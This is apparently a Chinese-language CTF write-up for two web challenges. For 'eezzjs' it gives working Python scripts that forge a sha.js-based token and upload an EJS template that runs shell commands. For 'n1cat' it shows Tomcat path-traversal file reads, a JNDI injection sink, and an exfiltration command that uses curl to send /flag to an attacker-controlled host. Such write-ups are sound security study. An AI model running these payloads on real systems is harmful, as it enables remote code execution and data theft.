初次尝试正经的ctf比赛,感觉好难,还是能做出来一些简单题的,由于比赛那天我有点事才打了8小时,只做出了2道题。
eezzjs
CVE-2025-9288 sha.js ,利用length来进行sha256状态回退,最后只需要爆破secretkey的最后一位(0-9a-f)的哈希就可以了。
import hashlib
import requests
url = "http://60.205.163.215:17352/upload"
payload="eyJhbGciOiJIUzI1NiJ9.eyJsZW5ndGgiOi0zMn0."
for item in "0123456789abcdef":
headers={
"cookie":"token="+payload+hashlib.sha256(item.encode()).hexdigest(),
}
res=requests.get(url,headers=headers)
if "Log in failed" not in res.content.decode():
print("Found:",payload+hashlib.sha256(item.encode()).hexdigest())
拿到token,通过上传.ejs进行模板渲染。extname函数在处理文件名为.ejs时,会返回扩展名为空,绕过waf。在res.render处,令templ=../uploads/,这里可以看express view渲染的源码处理,简单来说会在后面添加默认模板(.ejs)的后缀,拼接后的路径/app/views/../uploads/.ejs,渲染成功,执行命令即可
<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body>
<div>
<%= process.mainModule.require('child_process').execSync('cp /f* /app/uploads/flag1') %>
</div>
</body>
</html>
下面是拿到token之后进行上传和渲染的python脚本
import base64
import re
import secrets
import sys
import requests
BASE_URL = "http://60.205.163.215:11362"
TOKEN = "eyJhbGciOiJIUzI1NiJ9.eyJsZW5ndGgiOi0zMn0.3f79bb7b435b05321651daefd374cdc681dc06faa65e374e38337b88ca046dea"
def build_template(command: str) -> str:
encoded = base64.b64encode(command.encode()).decode()
return (
"<%- process.mainModule.require('child_process').execSync("
f"Buffer.from('{encoded}', 'base64').toString(), {{encoding: 'utf8'}}"
") %>"
)
def upload_template(filename: str, command: str) -> None:
template = build_template(command)
payload = {
"filename": filename,
"filedata": base64.b64encode(template.encode()).decode(),
}
headers = {
"Content-Type": "application/json",
"Cookie": f"token={TOKEN}",
}
resp = requests.post(f"{BASE_URL}/upload", json=payload, headers=headers, timeout=10)
if resp.status_code != 200:
print(f"[-] Upload template failed: {resp.status_code} {resp.text}")
sys.exit(1)
def render_template(view_name: str) -> str:
headers = {"Cookie": f"token={TOKEN}"}
resp = requests.get(
f"{BASE_URL}/?templ=../uploads/{view_name}",
headers=headers,
timeout=10,
)
if resp.status_code != 200:
print(f"[-] Render template failed: {resp.status_code}")
print(resp.text)
sys.exit(1)
return resp.text
def extract_flag(output: str) -> str:
match = re.search(r"[A-Za-z0-9_]+{[^\\s<]*}", output)
if not match:
print("[!] Flag not found; full output follows:")
print(output)
sys.exit(1)
return match.group(0)
def main():
base = f"pwn{secrets.token_hex(3)}"
upload_name = f"{base}.ejs/."
view_name = base
print(f"[+] Using filename: {upload_name}")
command = (
"for f in /flag /flag.txt /flag* /root/flag /root/flag.txt "
"/home/*/flag* /var/flag /var/www/flag /ffffffflag /f*; do "
"if [ -f \"$f\" ]; then cat \"$f\"; exit 0; fi; "
"done; find / -maxdepth 2 -type f -name 'flag*' 2>/dev/null"
)
upload_template(upload_name, command)
print("[+] Template uploaded")
output = render_template(view_name)
print("[+] Template rendered")
flag = extract_flag(output)
print(f"[+] flag = {flag}")
if __name__ == "__main__":
main()
这是本地起docker分析的样子
下面是攻击流程
这里主办方其实题出的有点问题,本来能探测到的信息是flag在/ffffffflag下但是题出错成在/flag下
n1cat
CVE-2025-55752 读取tomcat web.xml文件和相关class源码
/download?path=%2fWEB-INF%2fweb.xml
/download?path=%2fWEB-INF%2fclasses%2fctf%2fn1cat%welcomeServlet.class
/download?path=%2fWEB-INF%2fclasses%2fctf%2fn1cat%2fUser.class
关注User.class类,这里的setUrl存在jndi
package ctf.n1cat;
import javax.naming.InitialContext;
import javax.naming.NamingException;
/* loaded from: User.class */
public class User {
private String name;
private String word;
private String url;
public String getName() {
return this.name;
}
public String getWord() {
return this.word;
}
public void setWord(String password) {
this.word = password;
}
public void setName(String name) throws NamingException {
this.name = name;
}
public String getUrl() {
return this.url;
}
public void setUrl(String url) {
try {
new InitialContext().lookup(url);
} catch (NamingException e) {
throw new RuntimeException((Throwable) e);
}
}
}
起个恶意的服务器打一波(看完官方wp之后发现是jdk版本问题,需要jkd17,而我版本不对导致jndi注入无效),以下是jndi的思路
JNDI 注入漏洞利用流程概述:
- 信息收集
- 通过 /download?path=... 读取到 web.xml、welcomeServlet.class、User.class。
- User.setUrl 直接将 url 传入 InitialContext.lookup —— JNDI 注入点成立。
- 搭建回连环境
- HTTP 监听器:保证公网主机(你的ip)上 python -m http.server 9000 常驻,用来接收 flag。
- Exploit 服务:使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 起 LDAP/RMI/HTTP(默认监听 1389/1099/8180)。
- 在 WSL 中运行需要 netsh interface portproxy + 防火墙放行把端口转发到 WSL。
- 更简便的做法:直接在 Windows 主机安装 JDK 后运行 jar,省去端口转发。
- 命令构造:为了回显 flag,常见 payload 如 sh -c 'curl http://你的ip:9000/?d=$(cat /flag)'。 在 Windows 下建议 Base64 编码拖入 JNDIExploit(Basic/Command/<base64>),避免命令被本地 shell 解析。
- 触发漏洞
- 发送 GET 请求(Tomcat 只接受 GET),包含合法 JSON 并让 url 指向 exploit 提供的 LDAP 路径。 例如:
curl -G "http://60.205.163.215:12823/" \ --data-urlencode 'json={"name":"n1cat","word":"cat cat cat!","url":"ldap://你的ip:1389/<token>"}'- 如果 JSON 报错,通常是 LDAP 访问失败(端口未通)或 token 过期。
- 获取 flag
- 成功后 exploit 的命令会执行,靶机通过 curl http://46.232.56.130:9000/?d=<flag> 回连。
- 在 HTTP 监听终端查看日志即可看到 GET /?d=flag{...}。如果没有回连,排查端口、token、网络连通性。

Comments NOTHING